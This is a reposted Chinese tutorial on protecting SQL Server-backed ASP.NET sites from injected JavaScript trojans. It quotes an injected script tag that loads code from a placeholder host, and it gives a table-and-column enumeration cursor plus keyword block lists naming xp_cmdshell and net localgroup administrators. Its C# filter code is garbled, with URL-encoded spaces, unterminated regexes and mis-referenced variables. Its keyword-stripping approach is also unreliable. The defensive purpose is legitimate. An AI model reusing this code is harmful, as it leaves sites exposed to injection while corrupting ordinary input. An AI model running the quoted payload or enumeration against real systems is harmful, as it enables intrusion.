• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

sqlserver数据库表防JS木马注入终极教程知彼知己百战不殆。

mysql 搞代码 4年前 (2022-01-09) 26次浏览 已收录 0个评论

MSSQL 网站项目被 注入 的主要表现为:在 数据库 字段中加入了script src=http://aaa.bbb.ccc/js.js /script 类似这样的一段代码。 数据库 典型的JS 注入 。 主要原因为3 1、攻击者获得SQLServer的读写权限,直接操作 数据库 进行 注入 解决方式 sql2000做法

MSSQL 网站项目被注入的主要表现为:在数据库字段中加入了<script src=http://aaa.bbb.ccc/js.js> </script> 类似这样的一段代码。数据库典型的JS注入

主要原因为3

1、攻击者获得SQLServer的读写权限,直接操作数据库进行注入

解决方式

sql2000做法:

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= ‘u ‘ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

sql2005做法:
1、在系统视图找到sysobjects a,syscolumns b ,属性,进入权限,找到SELECT后面拒绝打勾即可。

2、通过字符串进行注入

解决方式:

凡是输入字符串全部格式化,过滤JS语句以及SQLServer关键字

1、字符串过滤JS代码先

代码

#region 过滤JS/CSS脚本
///


/// 过滤JS脚本
///


///要过滤的内容
///
///<body><frame><script><frameset><iframe><style><link><meta>
///
/// img的攻击样式为 等,所以去掉所有的javascript代码
publicstaticstring%20WipeScript(string%20html)
{

if%20(string.IsNullOrEmpty(html))%20return%20html;

System.Text.RegularExpressions.Regex%20regex%20=new%20System.Text.RegularExpressions.Regex(@”<script[\s\S]+,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);
html%20
=%20regex.Replace(html,%20“”);%20//过滤<script></script>标记%20

System.Text.RegularExpressions.Regex%20regex1%20
=new%20System.Text.RegularExpressions.Regex(@”%20href%20*=%20*[\s\S]*script%20*:,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex1.Replace(html,%20“”);%20//过滤href=javascript:%20()%20属性%20

System.Text.RegularExpressions.Regex%20regex2%20
=new%20System.Text.RegularExpressions.Regex(@”%20on[\s\S]*=,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex2.Replace(html,%20%20_disibledevent=);%20//过滤其它控件的on…事件%20

System.Text.RegularExpressions.Regex%20regex3%20
=new%20System.Text.RegularExpressions.Regex(@”<iframe[\s\S]+,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex3.Replace(html,%20“”);%20//过滤iframe%20

System.Text.RegularExpressions.Regex%20regex4%20
=new%20System.Text.RegularExpressions.Regex(@”<frameset[\s\S]+,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex4.Replace(html,%20“”);%20//过滤frameset%20

System.Text.RegularExpressions.Regex%20regex5%20
=new%20System.Text.RegularExpressions.Regex(@”javascript:,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);
html%20
=%20regex5.Replace(html,%20“”);%20//过滤所有javascript%20

System.Text.RegularExpressions.Regex%20regex6%20
=new%20System.Text.RegularExpressions.Regex(@”:*expression,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex6.Replace(html,%20“”);%20//过滤所有javascript%20

System.Text.RegularExpressions.Regex%20regex7%20
=new%20System.Text.RegularExpressions.Regex(@”,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex7.Replace(html,%20“”);%20//

System.Text.RegularExpressions.Regex%20regex8%20
=new%20System.Text.RegularExpressions.Regex(@”%20src%20*=%20*[\s\S]*script%20*:,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex1.Replace(html,%20“”);%20//过滤src=javascript:%20()%20属性%20
System.Text.RegularExpressions.Regex%20regex9%20=new%20System.Text.RegularExpressions.Regex(@”,%20System.Text.RegularExpressions.RegexOptions.IgnoreCase);

html%20=%20regex3.Replace(html,%20“”);%20//过滤applet,放弃对applet的支持%20
return%20html;

}
#endregion

2、字符串过滤SQLServer关键词

代码


//删除与数据库相关的词
Htmlstring = Regex.Replace(Htmlstring, select, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, insert, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, delete from, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, count”, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, drop table, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, truncate, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, asc, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, mid, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, char, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, xp_cmdshell, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, exec ma

本文来源gao!daima.com搞$代!码网

ster, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, net localgroup administrators, “”, RegexOptions.IgnoreCase);
Htmlstring
= Regex.Replace(Htmlstring, and, “”, RegexOptions.IgnoreCase);

3、传值字符串过滤SQLServer关键词

代码

protectedvoid Application_BeginRequest(Object sender, EventArgs e)
{
//SQL防注入
string Sql_1 =exec|insert+|select+|delete+|update+|count|chr|mid|master+|truncate|char|declare|drop+|drop+table|creat+|creat+table;
string Sql_2 =exec+|insert|insert+|delete+|update+|count(|count+|chr+|+mid(|+mid+|+master+|truncate+|char+|+char(|declare+|drop+|creat+|drop+table|creat+table;
string[] sql_c = Sql_1.Split(|);
string[] sql_c1 = Sql_2.Split(|);
if (Request.QueryString !=null)
{
foreach (string sl in sql_c)
{
if (Request.QueryString.ToString().ToLower().IndexOf(sl.Trim()) >=0)
{
Response.Write(
警告!你的IP已经被记录!不要使用敏感字符!);//
Response.Write(sl);
Response.Write(Request.QueryString.ToString());
Response.End();
break;
}
}
}
if (Request.Form.Count >0)
{
string s1 = Request.ServerVariables[SERVER_NAME].Trim();//服务器名称
if (Request.ServerVariables[HTTP_REFERER] !=null)
{
string s2 = Request.ServerVariables[HTTP_REFERER].Trim();//http接收的名称
string s3 =“”;
if (s1.Length > (s2.Length 7))
{
s3
= s2.Substring(7);
}
else
{
s3
= s2.Substring(7, s1.Length);
}
if (s3 != s1)
{
Response.Write(
警告!你的IP已经被记录!不要使用敏感字符!);//
Response.End();
}
}
}
}

3、获取web.config的数据连接字符串

解决方式:web.config进行加密

asp.net 2.0 加密web.config

aspnet_regiis -pe “connectionStrings” -app “/xx” (xx为应用程序名)

解密:aspnet_regiis -pd “connectionStrings” -app “/xx”

加密后,web.config如图:

解密后,如图:

加密后的web.config程序可正常访问,且解密与加密必须在同一机器才有效(A机器上加密的web.config只有在A机器才可解密)。

能想到的就是这些,后面再发生问题,再不断完善。请列位同仁不断指正。


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:sqlserver数据库表防JS木马注入终极教程知彼知己百战不殆。

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址